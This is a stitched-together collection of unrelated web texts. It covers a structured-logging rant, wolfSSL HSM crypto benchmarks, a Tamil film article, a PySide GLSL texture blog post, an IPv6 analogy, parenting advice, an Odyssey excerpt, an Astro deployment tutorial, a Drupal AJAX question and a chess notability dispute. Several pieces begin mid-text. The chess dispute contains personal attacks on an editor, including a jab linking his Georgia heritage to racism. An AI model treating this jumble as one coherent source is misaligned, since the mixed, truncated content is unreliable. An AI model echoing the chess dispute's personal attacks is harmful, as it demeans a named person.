And now you have the kind of structured data that you can feed into something like a columnar store, or honeycomb, and run ad hoc queries to your heart’s delight.
Distributed systems logging events best practices:
Let’s sum up. (I’m including links to other past rants on this topic):
Just think.
No more doing multi-line regexps trying to look for the same request ID or user ID doing five suspicious things in a row.
No more regexps at all, for fuck’s sake.
No more bullshit percentiles that were computed at write time by averaging over a bunch of other averages
No more having to jump around from dashboards to logs trying to vainly eyeball correlate one spike with another. No more wondering why no two tools can agree if anything even exists or not
Just gather the detail you need to ask the questions when you need them, and store it in a single source of truth. It’s that simple.
No need to shame people from learning best practices that worked perfectly well for a long time. You can either let them learn the hard way that this transformation is non optional, or you can help them learn the easy way that it’s simply much better and easier to invest in this telemetry up front. You seem like a nice enough chap, which is probably why you chose door 2. (If you wanted to get tougher about it, have a few reformed folks in to tell their horror stories. Try some ex-twitter engineers.)
The hardest part seems to be getting people to unlearn all the best practices they once learned for dealing with logs. So just don’t call it logs anymore, if that helps. Call it “structured events”.
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wolfSSL TriCore HSM Support
The Infineon Tricore TC2xx and the new TC3xx series chips are popular chips among safety and security critical applications. As the name implies, these chips come with multiple CPU cores to meet the demands of real time computing, however some variants come with a built in HSM core that is an ARM Cortex M3 operating at a frequency of 100MHz, 96KB RAM, MPU and offers a few useful secure applications.
1. Secure boot
2. Shared memory bridge module with “Firewall” functionality
3. Debug support with authentication
4. Secure data storage and logging
5. 1KB shared cryptography memory
6. Configurable OTP and HSM exclusive flash sections
7. Hardware cryptography (AES, Hash, PKC, TRNG)
8. Immobilizer (theft protection)
9. Secure flash loading
We are excited to announce that we have ported wolfCrypt to the TriCore HSM. This will extend the HSM functionality beyond the hardware cryptography support to include the full wolfCrypt suite in the HSM environment. This adds useful features such as:
1. AES256-ECB/CBC/GCM
2. ECDSA-384
3. ECC
4. RSA (2048/3072/4096)
5. SHA-384/512
6. NIST Compliant DRBG (with HW TRNG seed)
7. CMAC/GMAC/HMAC
Technicals
• Built and tested using arm-none-eabi-gcc 12.2 toolchain
• Executed on a TC3XX HSM module with -O2 optimizations at clock of 100Mhz
• Verified heap-only as well as stack-only usage
• Benchmarks executed with a 10ms timer
wolfCrypt Benchmark (block bytes 1024, min 1.0 sec each)
RNG 775 KB took 1.010 seconds, 767.327 KB/s
AES-128-CBC-enc 325 KB took 1.010 seconds, 321.782 KB/s
AES-128-CBC-dec 325 KB took 1.000 seconds, 325.000 KB/s
AES-192-CBC-enc 250 KB took 1.040 seconds, 240.385 KB/s
AES-192-CBC-dec 250 KB took 1.020 seconds, 245.098 KB/s
AES-256-CBC-enc 200 KB took 1.010 seconds, 198.020 KB/s
AES-256-CBC-dec 200 KB took 1.000 seconds, 200.000 KB/s
AES-128-GCM-enc 275 KB took 1.050 seconds, 261.905 KB/s
AES-128-GCM-dec 275 KB took 1.050 seconds, 261.905 KB/s
AES-192-GCM-enc 225 KB took 1.100 seconds, 204.545 KB/s
AES-192-GCM-dec 225 KB took 1.110 seconds, 202.703 KB/s
AES-256-GCM-enc 175 KB took 1.030 seconds, 169.903 KB/s
AES-256-GCM-dec 175 KB took 1.020 seconds, 171.569 KB/s
GMAC Table 4-bit 1 MB took 1.000 seconds, 1.288 MB/s
AES-128-ECB-enc 314 KB took 1.000 seconds, 313.672 KB/s
AES-128-ECB-dec 343 KB took 1.000 seconds, 342.578 KB/s
AES-192-ECB-enc 225 KB took 1.000 seconds, 225.000 KB/s
AES-192-ECB-dec 236 KB took 1.000 seconds, 235.938 KB/s
AES-256-ECB-enc 200 KB took 1.000 seconds, 199.609 KB/s
AES-256-ECB-dec 189 KB took 1.000 seconds, 189.453 KB/s
SHA 2 MB took 1.000 seconds, 1.953 MB/s
SHA-256 2 MB took 1.000 seconds, 2.051 MB/s
SHA-384 275 KB took 1.030 seconds, 266.990 KB/s
AES-128-CMAC 300 KB took 1.030 seconds, 291.262 KB/s
AES-256-CMAC 200 KB took 1.070 seconds, 186.916 KB/s
HMAC-SHA 2 MB took 1.000 seconds, 2.222 MB/s
HMAC-SHA256 2 MB took 1.000 seconds, 2.051 MB/s
HMAC-SHA384 275 KB took 1.040 seconds, 264.423 KB/s
RSA 2048 public 38 ops took 1.010 sec, avg 26.579 ms, 37.624 ops/sec
RSA 2048 private 2 ops took 1.950 sec, avg 975.000 ms, 1.026 ops/sec
ECC [ SECP384R1] 384 key gen 6 ops took 1.080 sec, avg 180.000 ms, 5.556 ops/sec
ECDHE [ SECP384R1] 384 agree 4 ops took 1.560 sec, avg 390.000 ms, 2.564 ops/sec
ECDSA [ SECP384R1] 384 sign 6 ops took 1.340 sec, avg 223.333 ms, 4.478 ops/sec
ECDSA [ SECP384R1] 384 verify 2 ops took 1.020 sec, avg 510.000 ms, 1.961 ops/sec
Benchmark complete
Benchmark Test: Return code 0 | ESSENTIALAI-STEM |
Karakattakkaran
Karakattakkaran is a 1989 Indian Tamil-language romantic comedy dance film written and directed by Gangai Amaran. The film stars Ramarajan and debutant Kanaka, while Santhana Bharathi, Chandrasekhar, Goundamani, Senthil, Shanmugasundaram, Raja Bahadur, Gandhimathi and Kovai Sarala play supporting roles. It revolves around two karakattam dancers who fall in love with each other, but circumstances prevent them from confessing their love for one another. How they overcome these forms the rest of the story.
The soundtrack was composed by Ilaiyaraaja and all the songs were well-received, in particular, "Maanguyilae Poonguyile". The film was released on 16 June 1989 and was a major commercial success, running for over a year in theatres, and won two Tamil Nadu State Film Awards. It was also Goundamani and Senthil's 100th film as a combo. Goundamani and Senthil's banana comedy sequence from this film remains one of their popular act.
Plot
Muthaiya is the lead performer of a karakattam troupe based out of a village. Muthaiya's mother was his dance guru. Similarly Kamakshi is also a karakattam dancer in the nearby village and she performs regularly during temple festival of that village. Chinnarasu is the village panchayat board president and he sets an eye on Kamakshi. But Kamakshi hates Chinnarasu. To take revenge on her, Chinnarasu invites Muthaiya's dance troupe to perform during temple festival instead of Kamakshi's performance.
Muthaiya performs well and is widely appreciated by the villagers. Kamakshi also likes Muthaiya's performance. Kamakshi's father invites Muthaiya to his home. And to his shock, Kamakshi's father understands that Muthaiya is his nephew but does not reveal it to him. Muthaiya and Kamakshi fall in love with each other. Chinnarasu gets to know about Muthaiya and Kamakshi's love affair and plans to separate them.
Balaraman is Kamakshi's innocent brother-in-law who works for Chinnarasu. Chinnarasu persuades Balaraman to challenge a dance competition between Muthaiya and Kamakshi for which both accepts. In the meantime, Chinnarasu plans to kill Muthaiya during the dance program. His assassin, a butcher, throws a knife at Muthaiya, but Kamakshi saves him, thereby getting stabbed in her leg after the dance.
Muthaiya's mother gets furious upon realising that Kamakshi is her niece and takes Muthaiya along with her and also does not permit their wedding to happen. She reveals a flashback that Kamakshi's father is her own brother and he eloped with the jewels that were meant to be sold to meet the medical expenses of Muthaiya's father which led to his death. But Kamakshi's father arrives there and reveals the truth that while he went to sell the jewels, he was caught by the police suspecting him to be a smuggler following which he was jailed for a few years.
Now Muthaiya's mother realises her mistake and unites with her brother. Also she agrees for wedding between Muthaiya and Kamakshi. Chinnarasu accuses that Muthaiya and Kamakshi misbehaved in the temple and orders them to walk on fire in the temple to prove that they are pure. Muthaiya and Kamakshi successfully walk on fire while Balaraman exposes Chinnarasu's true identity before of the villagers. Balaraman pushes Chinnarasu on to the fire but Muthaiya saves him which makes Chinnarasu remorseful. Muthaiya and Kamakshi marry.
Development
Gangai Amaran wanted to do a film on the life of Karakattam dancers and their art Karagam. When producers Karumari Kandaswamy and J. Durai approached Amaran to do a project for them they agreed to do the film titled Karakattakkaran. Amaran admitted that his film was reversal of Thillana Mohanambal (1968) with a change of backdrop and it was Ramarajan who suggested the story idea for the film while Amaran revealed he "didn't plan anything for the movie and went on scene by scene".
Casting
After achieving back-to-back successful films like Enga Ooru Pattukaran (1987) and Shenbagamae Shenbagamae (1988), Ramarajan was the director's only choice for the lead character and it was his 18th project as actor. For the lead actress, Kanaka, daughter of Devika made her acting debut with this film. It was Amaran's wife who suggested her for the role. Goundamani and Senthil were chosen to handle comic relief and this film became their 100th collaboration. The comedy track was written by A. Veerappan. Since Amaran wanted a female dancer for Ramarajan's troupe, Kovai Sarala was cast.
Filming
The filming was completed in 28 days. The crew found the village some distance off of Madurai Pandiyan hotel on the way to Alagar Kovil where the film was shot while the panchayat scene with the banyan tree and the climax were shot in Arunachalam Studios and Ambica Studios, respectively.
Themes
Similar to Thillana Mohanambal, this film also followed the lives of two artist families locked in a feud raised by a romantic interests of the lead pair.
Music
The music composed by Ilaiyaraaja. All lyrics were written by Gangai Amaran except "Paattaalae Buddhi", which was written by Ilaiyaraaja. The song "Maanguyilae Poonguyile" is set to the Carnatic raga Gourimanohari, "Mariyamma" is set to Mayamalavagowla, and "Ooru Vittu Ooru Vandhu" is set to Shanmukhapriya. Ilaiyaraaja later adapted "Maanguyilae Poonguyile" as "Endhirayyo" for the Telugu film Shiva Shankar (2004). The song "Nandhavanathil Oru" was adapted by Ilaiyaraaja's son Yuvan Shankar Raja as "Muttathu Pakkathile" in Kunguma Poovum Konjum Puravum (2009). "Ooru Vittu Ooru Vandhu" was remixed by Natarajan Sankaran in Kappal (2014). S. Shankar, the producer of that film, did not acquire permission to remix the song, leading to Ilaiyaraaja taking legal action against him.
Release and reception
Karakattakkaran was released on 16 June 1989. Distributors initially refused to buy the film as they felt that "the rural setting and full length comedy would not be acceptable". Despite this, the film became a major commercial success, running for over a year in Nadana Theatre at Madurai. Ananda Vikatan rated the film 44 out of 100, calling it a simple, realistic village love story without much grandeur.
Accolades
At the Tamil Nadu State Film Awards, Karakattakkaran won the Special Prize for Best Film, and D. K. S. Babu won for Best Choreographer.
Legacy
Karakattakkaran became a cult film for bringing the art of Karagam into prominence. The comedy sequences from the film, especially Goundamani and Senthil's banana joke, still remains a cult classic, being referred to in the films Puthu Paatu (1990), Ponnuketha Purushan (1992), Pudhayal (1997), Seerivarum Kaalai (2001), and a deleted scene from Thuppakki (2012). The car Chevrolet Impala, 1960's model used in the film became popular after the film's release.
In an interview with The Hindu in 2002, Somasundaram, a real-life Karakattam dancer was critical of the film, stating that it was an "insult to the dance form". In a 2012 interview, Venkat Prabhu was asked if he would ever remake Karakattakkaran, and said "it would be extremely difficult to do justice to the original". In May 2019, Amaran expressed interest in doing a sequel with the original cast, which Ramarajan opposed the following month.
In popular culture
In a comedy scene from Thangamana Raasa (1990), Goundamani who is jailed for a petty crime, dreams of singing under the music of Ilaiyaraja, he sings "Maanguyile" to Vinu Chakravarthy. In Saroja (2008), when the friends witness the car which they are going to travel, the theme music of Karagattakaran is used as background music for the scene. Ooru Vittu Ooru Vanthu (1990) also directed by Gangai Amaran was named after a song from the film. The 2016 film Jil Jung Juk reveals who had kept Soppanasundari, the previous owner of the pink 1960 Chevrolet Impala according to the Karakattakkaran plot. | WIKI |
Rendering textures in GLSL using python
I would have thought that dealing with textures in OpenGL would be simple, and that stacks of documentation would be available on the web to tell me how I should do it. Ok, so taking it to the next stage of doing something with that texture using GLSL might be a bit more involved, but it should be basically plain sailing. I assumed that using python would make no difference at all to what was actually involved.
I don’t know if its my incompetence or just the flaky pyside bindings for the Qt GLSL stuff, but it seemed to be much more difficult than it ought to have been. A small test example I hacked up builds on the previous post. The intention was to draw a 2D image over the top of the 3D Qt logo. Other than that, the code is identical.
There is stacks of documentation out there, including lots on the pyside website. Unfortunately, it seems the documentation often doesn’t actually represent reality. The doc page for QtOpenGL.QGLShaderProgram has a chunk of python that is not even valid (closer inspection reveals its a partial transliteration from the C++ docs), and I had no end of fun calling various functions from PyOpenGL that were documented but didn’t actually do as expected.
Part of the frustration with the OpenGL (and possibly a legacy of its state machine nature) is a deeply annoying failure mode in which nothing appears on the screen, but no errors occur. As often as not when you think you’ve followed some tutorial or documentation to the letter!
In the end, I adopted a hybrid approach of using parts of the Qt library, including QGLShaderProgram along with management of the texture using direct OpenGL calls. As a learned friend of mine declared,“writing OpenGL is about hacking until it works”. It now works (and isn’t wholly unclean).
As with the previous post, there was the necessity to combine my OpenGL scene with a QML overlay, which came with similar problems of context management as discussed. In particular, it is necessary to update the texture parameters on every update to the scene (as opposed to at initialisation as with more usual implementations). The modifications to the drawBackground() method of OpenGLScene amount to the inclusion of initialisation code (which is run once), which sets up the shaders (loading and linking etc), and then the following which is run on every redraw:
self.program.bind()
GL.glTexParameterf(GL.GL_TEXTURE_2D, GL.GL_TEXTURE_MAG_FILTER, GL.GL_LINEAR)
GL.glTexParameterf(GL.GL_TEXTURE_2D, GL.GL_TEXTURE_MIN_FILTER, GL.GL_LINEAR)
GL.glTexEnvf(GL.GL_TEXTURE_ENV, GL.GL_TEXTURE_ENV_MODE, GL.GL_REPLACE)
GL.glEnableClientState(GL.GL_VERTEX_ARRAY)
GL.glVertexPointer(3, GL.GL_FLOAT, 0, triangle_vertices)
GL.glDrawArrays(GL.GL_TRIANGLES, 0, len(triangle_vertices)/3)
GL.glDisableClientState(GL.GL_VERTEX_ARRAY)
self.program.release()
Note that this code is run outside of the viewport modifications that are performed for the rendering of the Qt logo. The consequence of this is that the image scales with the window. It would be trivial to change but it didn’t seem necessary for this example.
The shaders themselves are at the top of the source code. Full functioning code can be found here.
One problem I had that’s worth noting was when I’d failed to make my texture a power of 2 (although it is documented, its not obviously necessary).
Finally, if anyone can work out how to pass attribute arrays to a GLSL program using python, please let me know!
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5 Responses to Rendering textures in GLSL using python
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2. Mark says:
Tremendously useful example. thanks for this.
Struggling through the pyside – opengl is hard work…
3. buck says:
I’d be interested to know if pyglet gives you the same headaches as pyopengl. By default, pyglet double-checks for opengl errors, to avoid the “deeply annoying failure mode in which nothing appears on the screen, but no errors occur.” I’ve also not found anything in pyglet to not function as documented. http://www.pyglet.org/
4. PySide-QML integration is perfect 🙂 Python has many rich modules and QML is a beautiful UI and can be published to pc, android, meego, blackberry..
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IPv6 Stateless vs Stateful Autoconfiguration
Stateless
Your plane, Oceanic Airlines Flight 815, crash lands with 70 other people. You aren’t in Kansas anymore. You are stateless. The survivors each pick out unique sections of the beach for themselves and declare the areas as their new homes. There’s no city hall to assign or keep track of these land claims (or rather, these new home addresses). IPv6 stateless autoconfiguration is like this. Instead of a device being assigned an address, they first listen for IPv6 router advertisements to announce what network they are on. This gives them the subnet portion of the IPv6 address, they just need a unique host portion, which is based off the device’s MAC address. An IPv6 host using stateless autoconfiguration proposes an address that will probably be unique since it is based on that shared network prefix and its MAC address. It then does a duplicate address detection to make sure no one else on that network is using the same.
Stateful
But let’s say you crash land in New York with 70 other people. If survivors try to pick out unique apartments for themselves in NYC and try to move in, they will probably be killed or taken to jail. Why? Because New York is stateful. Somewhere, someone is maintaining state information to eliminate conflicts, to handle apartment leases, to renew leases. IPv6 stateful autoconfiguration is like this, with a DHCPv6 server maintaining state information.
Stateless has no memory of the past. Every transaction is performed as if it were being done for the first time. Stateless is plug and play.
Stateful keeps lists. It retains information for future use. There is more control. | ESSENTIALAI-STEM |
There's no getting around it: we live in a consumer society, and kids, even many four- and five-year olds, feel they simply have to have the right clothes, shoes and so on. It helps them feel like they fit in with their playmates. Younger children may be after you for the latest game or breakfast cereal - because they see it advertised, or because their friends have it.
Here are several ways to help your child understand why he can't always have everything he wants:
- Explain to your child that you can't afford everything, and so you have to spend your money on the important basic things that you need just to live, like housing, food, clothes, heat and the telephone. This doesn't leave much money to buy things that aren't necessary, but would just be nice to have.
- Help your child understand how it's more important to be a good person than to have expensive things.
- Talk about how TV, movies and magazines don't show how people really live and explain that not everyone has all the things you see on TV shows.
- Talk with your child from an early age about the commercial, consumer-driven society we live in. You can explain that people who make toys and clothes want us to buy the ones they make, but that we have to pick and choose the ones we want and can afford very carefully. Tell your child about the values that really matter.
- You can also try to involve your child in choosing items that affect him, such as breakfast cereal, so that he can have some feeling of being in control. And talk to your child about ways to work to earn some extra money for things he really wants. | FINEWEB-EDU |
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224 canst think of any assistant, mention him; whoever would aid us with a ready mind."
But him much-enduring divine Ulysses addressed in turn: "Therefore I will tell thee; and do thou attend, and listen to me, and consider, if Minerva, with father Jove, will suffice for us, or shall I think of some other assistant?"
But him prudent Telemachus answered in turn: "These twain whom thou mentionest are excellent assistants, although sitting on high in the clouds; they also rule over other men, and the immortal gods."
But him much-enduring divine Ulysses addressed in turn: "They twain indeed will not be a long time absent from the severe contest, when the strength of Mars is determined in my palace between the suitors and us. But do thou go home, with the dawning morn, and associate with the perfidious suitors: but the swineherd shall afterwards take me to the city, like unto a sordid beggar and aged man. And if they shall dishonour me in the house, let thy dear heart endure it in thy breast, when I am ill treated, although they should drag me through the house by my feet, or should strike at me with weapons: but do thou looking on restrain thyself; but, however, desire them to cease from their foolishness, speaking to them with mild words; but they will not obey thee; for their fatal day now stands near them. [And I tell thee something else, but do thou lay it up in thy mind; when much-counselling Minerva shall put it in my mind, I will nod to thee with my head; do thou then, when thou perceivest it, take as many warlike arms as lie in the palace, and place them in the recess of the lofty chamber; but deceive the suitors with mild words, when desiring them they inquire of you, [saying,] 'I have placed them out of the smoke; since they are no longer like unto those, which Ulysses left, departing for Troy, but they are soiled, as far as the vapour of the fire has reached them. But this also of still greater consequence the son of Saturn has put in my mind, lest by chance intoxicated, having raised a quarrel amongst you, ye should wound one another, and disgrace the feast, and the wooing; for the steel of itself draws on a man.' But for us alone | WIKI |
How to Deploy Astro on Your VPS with EasyPanel
How to Deploy Astro on Your VPS with EasyPanel
Astro is a web framework that lets you build fast and scalable websites with your favorite UI library. Astro can render your pages to static HTML for better performance, SEO, and accessibility. You can also use Astro to create dynamic web applications and APIs with any backend service. Astro supports multiple UI frameworks, such as React, Svelte, Vue, and more.
You can mix and match them in the same project, or use Astro’s template syntax. Astro also has a rich ecosystem of plugins, themes, and integrations that make it easy to extend and customize your website. Whether you want to create a blog, a portfolio, a marketing site, or a web app, Astro can help you achieve your goals.
In this tutorial, we are going to see how you can deploy Astro on your own VPS with the help of EasyPanel. I have created a detailed article and video of how you can install EasyPanel and what has to offer it can be found under: Easypanel.io: A Modern Hosting Panel for Applications and Databases
Other useful Astro articles you may want to check:
Deploy Astro on Your VPS with EasyPanel
In this part, we are going to see all the steps we need to do to have an Astro static website deployed in EasyPanel and have it hosted on your server.
1. Instal EasyPanel
The first step is to have EasyPanel installed and used in a VPS, this can be done with a simple command you can check the full tutorial in: Easypanel.io: A Modern Hosting Panel for Applications and Databases
2. Create a GitHub Repo
To deploy Astro you need a GitHub account and you need to create a repo where you will add Astro with all the packages. You can follow the Link GitHub with A SSH Key to MacOS or Linux it has all the details you need to create the repo and link it to your laptop.
3. Install Astro and Make the Configs
Now the fun part is coming and we will start installing Astro. You can create a new installation or you can use a predefined theme, in this tutorial we are going to deploy it from scratch.
3.1 Deploy An Astro Blog
First, you need to go into the repo you have created and be sure is empty, then you can run:
npm create astro@latest
You just use the ”.” for the project name as already you are in the repo that will be used for GitGub. You can also initiate a new repo with Astro is up to you.
3.2 Configure Astro Static
To have this working on EasyPanel we will need to install a node.js package and make some configurations in the package.json file so EasyPanel knows how to work with Astro. First, install serve package:
npm install serve
Serve will be needed in the start option so it tells to use /dist folder as: “start”: “serve dist/”
The package.json will look like this:
{
"name": "",
"type": "module",
"version": "0.0.1",
"scripts": {
"dev": "astro dev",
"start": "serve dist/",
"build": "astro build",
"preview": "astro preview",
"astro": "astro"
},
"dependencies": {
"@astrojs/mdx": "^1.1.5",
"@astrojs/node": "^6.0.3",
"@astrojs/rss": "^3.0.0",
"@astrojs/sitemap": "^3.0.3",
"astro": "^3.5.4",
"serve": "^14.2.1"
}
}
In the script section, you see the command and in dependencies you see the serve package.
You can check that everything is working fine with :
npm run dev
npm run build
The above commands will be used by EasyPanel and in case there are issues you will want to know before pushing everything to the repo.
3.3 Push to GitHub
Now we finished with the configs and we will need to update the repo with the changes and Astro, just follow the below commands:
git add .
git commit -m "added astro"
git push
4. Add Astro to EasyPanel
4.1 Configure Astro Repo
Now what you need to do is to add your repo in EasyPanel, to do that you need to create a project then on Service add an App in the video you will see the details.
In the Project - General - Source you configure your GitHub repo with the owner and repo like in the picture:
easypanel general
After just hit Save.
Then another window will appear called Build** where you should choose the Nixpacks and Save
After you hit Deploy and under Deployments you watch how the magic is happening and the Astro application starts to be deployed.
The GitHub repo needs to be public, in case you have a private one you will need to add a GitHub token in EasyPanel - Settings - GitHub.
4.2 Enable Auto Deploy
The auto update will make the image to be updated with the latest changes from the repo. So in case you modify a file or add a new one EasyPanel will pull the latest version. This can be done in 2 ways:
• Hitting Auto Deploy - in case you are using a token with EasyPanel you can just hit Auto Deply. This will add a webkook on the GitHub repo and EasyPanel will get notified when the update is happening.
• Add The WebHook - you can manually fetch the Webhook from General in the project and add it to your repo.
4.3 Add A Domain
Now you can check that everything is working by opening the domain that EasyPanel is assigning and add your own. You can go under Domains and add your URL. You need first to point the domain to the server IP with an A record.
easypanel domain
Conclusions
Now you should have a fully functional static Astro website working on your VPS server with the help of EasyPanel. You can deploy as many you want including in the free option. | ESSENTIALAI-STEM |
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I have an AJAX link and a callback function. The problem is that when I click the link an error is thrown.
I have absolutely no idea where did I make an error, the debug information unfortunately doesn't help.
As I understand the AJAX and Form API, the TSTDiv should be replaced with the TST link therefore two links should be visible on the page, right? The problem is, it not only doesn't work, but even throws an (really unhelpful) error.
The callback function / menu hook work fine (correct output is rendered when you access the URL (of the AJAX request) directly).
Code:
function HOOK_menu() {
$items = array();
$items['groups_hierarchy_load_more'] = array(
'page callback' => '_fmg_agh_hierarchy_load_more',
'access callback' => 'user_access',
'access arguments' => array('Can view all groups'),
'type' => MENU_CALLBACK,
);
...
$page_array['l'] = array(
'#type' => 'link',
'#title' => 'TEST',
// Note the /nojs portion of the href - if javascript is enabled,
// this part will be stripped from the path before it is called.
'#href' => 'groups_hierarchy_load_more/' . '5' . '/nojs',
'#ajax' => array(
'wrapper' => 'TSTDiv',
'method' => 'replace',
),
);
$page_array['d'] = array(
'#type' => 'markup',
'#prefix' => '<div id="TSTDiv">',
'#suffix' => '</div>',
);
...
function _fmg_agh_hierarchy_load_more($group_id, $ajax) {
$page_array = array();
$page_array['tst']['data'] = array(
'#type' => 'link',
'#title' => 'TST',
// Note the /nojs portion of the href - if javascript is enabled,
// this part will be stripped from the path before it is called.
'#href' => 'groups_hierarchy_load_more/' . 'TST' . '/nojs',
);
return $page_array;
}
Error:
An AJAX HTTP error occurred.
HTTP Result Code: 200
Debugging information follows.
Path: /drupal7/?q=groups_hierarchy_load_more/5/ajax
StatusText: OK
ResponseText:
localhost
@import url("http://localhost/drupal7/modules/system/system.base.css?n3277e");
...
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While I still don't know where the problem is (it should work this way) I've found a solution.
Instead returning the whole $page_array in callback function and hoping that Drupal will understand it and replace the div specified in '#ajax' => array('wrapper' => 'TSTDiv',... property of the link with it you can simply use ajax commands and 'return' something like this:
$commands[] = ajax_command_replace('#TSTDiv', render($page_array));
$page = array('#type' => 'ajax', '#commands' => $commands);
ajax_deliver($page);
And vuala it works just fine (and looks more professional at the same time!).
Would still appreciate and answer why the original approach didn't work, though.
BTW: I didn't know the AJAX commands before.
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User:Bubba73/Michael Hoffer
Michael Hoffer
correspondence chess
The article says that he has a correspondence chess record of 61 wins & 9 draws. His USCF CC rating is 2037, which means that he wasn't playing against the top opposition. Bubba73 (You talkin' to me?), 00:58, 27 March 2010 (UTC)
* I think that's a very charitable way to put it. Also note that the article was written by User:Chessmike4, which certainly smells like WP:AUTOBIO and WP:COI. I would support an AFD. The subject doesn't seem to meet WP:ATHLETE. Quale (talk) 01:38, 27 March 2010 (UTC)
* I hadn't noticed the "mike" connection. Also notice that chessmike4's only contribution has been this article. I proded it, but it was removed. Bubba73 (You talkin' to me?), 01:49, 27 March 2010 (UTC)
* And the user Yes2chess only contributed to this article. Bubba73 (You talkin' to me?), 15:23, 27 March 2010 (UTC)
Bubba73’s proposal to delete the page on Michael Hoffer is extremely biased and extraordinarily ignorant. With all of his impressive degrees, if Bubba73 has any sense, decency, or appreciation of the FAR superior levels of ICCF, correspondence chess or for theoreticians who have labored throughout their life to find truth and improvements in the openings, he will withdraw his narrow-minded objection. He ought to apologize as well! This is typical USCF bias of correspondence chess, which has removed Alex Dunne’s excellent column from their monthly magazine. Perhaps this is a reflection of Bubba73’s Georgia heritage, being one of the last states in America to grant equal rights to people of color.
How dare a low-level USCF director try to remove this page for insufficient notability just because rarely participates in USCF activities. USCF is not the end all of chess; nor is over the board competition. Incidentally, Mr. Hoffer first began playing USCF correspondence games in his youth winning every single game he ever played before he moved on to more serious competition well beyond the realm of USCF, which did not even have the right to sponsor the official US Championship! The rest of Hoffer’s games were played internationally with ICCF or with TCC which had the highest prize fund in the history of correspondence chess, far superior to USCF’s paltry prizes which are a joke.
Mr. Hoffer won arguably the strongest correspondence chess tournament ever played in North America with a score of twelve wins and one draw! He was chosen to represent his country in ICCF competitions, and the National Team Championship, never losing a game with a record of 61 wins, 9 draws, 0 losses.
Numerous Hoffer games have been published by the highly respected Dutch New In Chess Yearbooks in which he has contributed significant novelties and improvements in opening theory, particular for White against the Sicilian, such as his game vs. Johnson NIC #15; or his sacrifice of four pawns and the Exchange in which he won a tournament in the final round at Orlando. Grandmaster Stephan Djuric called it a brilliant conception and the greatest game he had ever witnessed! Numerous spectators hung around for over an hour after that tournament to watch the post-mortem including Djuric.
Bubba73 makes the outlandish statement that Hoffer “wasn’t playing against the top opposition.” While Mr. Hoffer prefers to save his lifetime of contributions for his current book project, most reputable players are aware the Wikipedia cited game vs. Doug Eckert (FIDE Master, several time Missouri state Champion, back-to-back winner of the US Junior Open Championship, led his team to the Midwest title in the US Amateur Team Championship, author of the book Sicilian Scheveningen: Keres Attack, and a finalist in the 8th USCC Championship) was a definitive improvement for Black that altered that entire variation by busting GM Joel Lautier’s analysis in Informant 46. The cited game vs. Ed Duliba was the first loss of Duliba’s career, which Hoffer won convincingly and with imaginative flair. The cited victory over Grandmaster Garcia was at a time Garcia had just won both the Colombian & Florida Championship. Hoffer’s recent victory over Grandmaster Yehuda Gruenfeld was a splendid study of perseverance in a variation long ago discarded as inferior for Black. Hoffer even won an award for the shortest mate in 1987 with his novelty in Cochranes’ Gambit. Hoffer has over 50 such notable games. Bubba73 is likely also unaware of Hoffer’s unheralded assisting a long time Grandmaster colleague with his preparation for the US Championship.
Is he not also deservingly notable for the eight junior champions and countless other children whose lives he changed during his tireless devotion to youth chess? These children went on to the finest universities and still consider their days with Coach Mike some of the most memorable of their lives.
Is it correct to try to discredit someone because his lifelong private health issues (that are nobody’s business) affected his over the board play, especially when these issues were diagnosed as life-threatening? IM Rui Damaso has also had uneven tournament results due to his health. Does the Portuguese Federation spurn him? No they made him captain of their Olympic Team. Rather than trying to discredit someone for trying to rise above their physical disabilities and occasionally failing, we should encourage them for trying to courageously overcome adversity.
Over-the-board play is totally different from correspondence play due to the clock and rapid succession of games packed into one weekend. Correspondence has long been recognized as the highest level of chess. This is akin to comparing a sprint to a marathon. Does anyone care how quickly marathon champion Haile Gebrselassie can run in the 100 yard dash? —Preceding unsigned comment added by Chessmike04 (talk • contribs) 22:43, 28 March 2010 (UTC)
* According to the ICCF (link in the article), he has played nine games with the ICCF and has no rating. Bubba73 (You talkin' to me?), 00:03, 29 March 2010 (UTC)
* Those nine games are most likely the last active year and no rating given because it's not recent. The references in the article are for books/magazines. Regards, SunCreator (talk) 00:56, 29 March 2010 (UTC)
* On the other hand, those might be the only games with the ICCF, and they require more games for a rating. I've written to the ICCF for clarification. Bubba73 (You talkin' to me?), 01:40, 29 March 2010 (UTC)
* The ICCF requires 12 games for a published rating. On their top 200 list there are some players whose rating is unchanged for the last several years, so they must be inactive, yet they are still rated. (Hoffer is not on that top 200 list.) Bubba73 (You talkin' to me?), 01:45, 29 March 2010 (UTC)
Michael Hoffer’s contributions to chess have been selfless and exhausting, with myriad opening novelties that have radically changed chess theory. His most notable accomplishments have been in analysis, journalism, correspondence chess, and coaching young players to at least eight National and State Championships. Hoffer was a fringe player as the youngest on the strongest team in NCAA history at the University of South Florida. (Christiansen went on to be US Champ and play in the Bundesliga. Henley went on to get a seat on the NYSE and become Karpov’s manager. Hoffer became a business entrepreneur and was content to coach children in Florida.) Hoffer was mentored and trained by the great Boris Kogan of Lviv, Ukraine and later Stone Mountain, Georgia. If you would like to verify his veracity, one need only consult any of the staff at New In Chess, or ICCF officials Max Zavanelli or Allen Wright.
It is amazing how you gentlemen look through rating reports like clerks instead calling legitimate sources or simply looking at the quality and beauty of Hoffer’s games. Most of you readily admit to be weak chessplayers. Nevertheless, are you really incapable of recognizing a beautiful game, ‘brilliant conception’ (as GM Djuric remarked), or theoretical novelty? This is certainly what is done by respected publications such as New In Chess. It is exceptionally difficult to have played any game worthy of NIC or the Informants. Unless you are qualified to make such judgments as to quality, are you really qualified to say Hoffer is good enough for NIC or Sahovski Informator but not Wikipedia, especially on the grounds you have directed a US chess tournament? The NIC standard is clearly much higher.
It is downright humorous how you continually debate whether or not Hoffer is for real because he doesn’t appear on your rating lists. Your conclusions are equally ludicrous. He does not have nine games pending as he had to cease correspondence play in 1996 and has not played correspondence since! Would it be appropriate to deny the works of Morphy or Pillsbury because they had short careers?
If Hoffer was not real, his games would not have made it into such publications and Grandmasters would not be adopting his novelties. Hoffer’s correspondence play was very short with USCF. It was so spaced apart over the years with ICCF that he may not have registered enough games at one time there to have gained an established rating (even though he never lost). The reason for this was Hoffer devoted most of his career to TCC (The Chess Connection) as this was by far the most profitable organization and the fastest way, as an affiliate of ICCF, to achieve his goal of qualifying for the World Championship. He had a family of four young children to feed at the time. Correspondence games often take over two years to complete. Many of the best North American players at that time joined TCC for their enormous prizes.
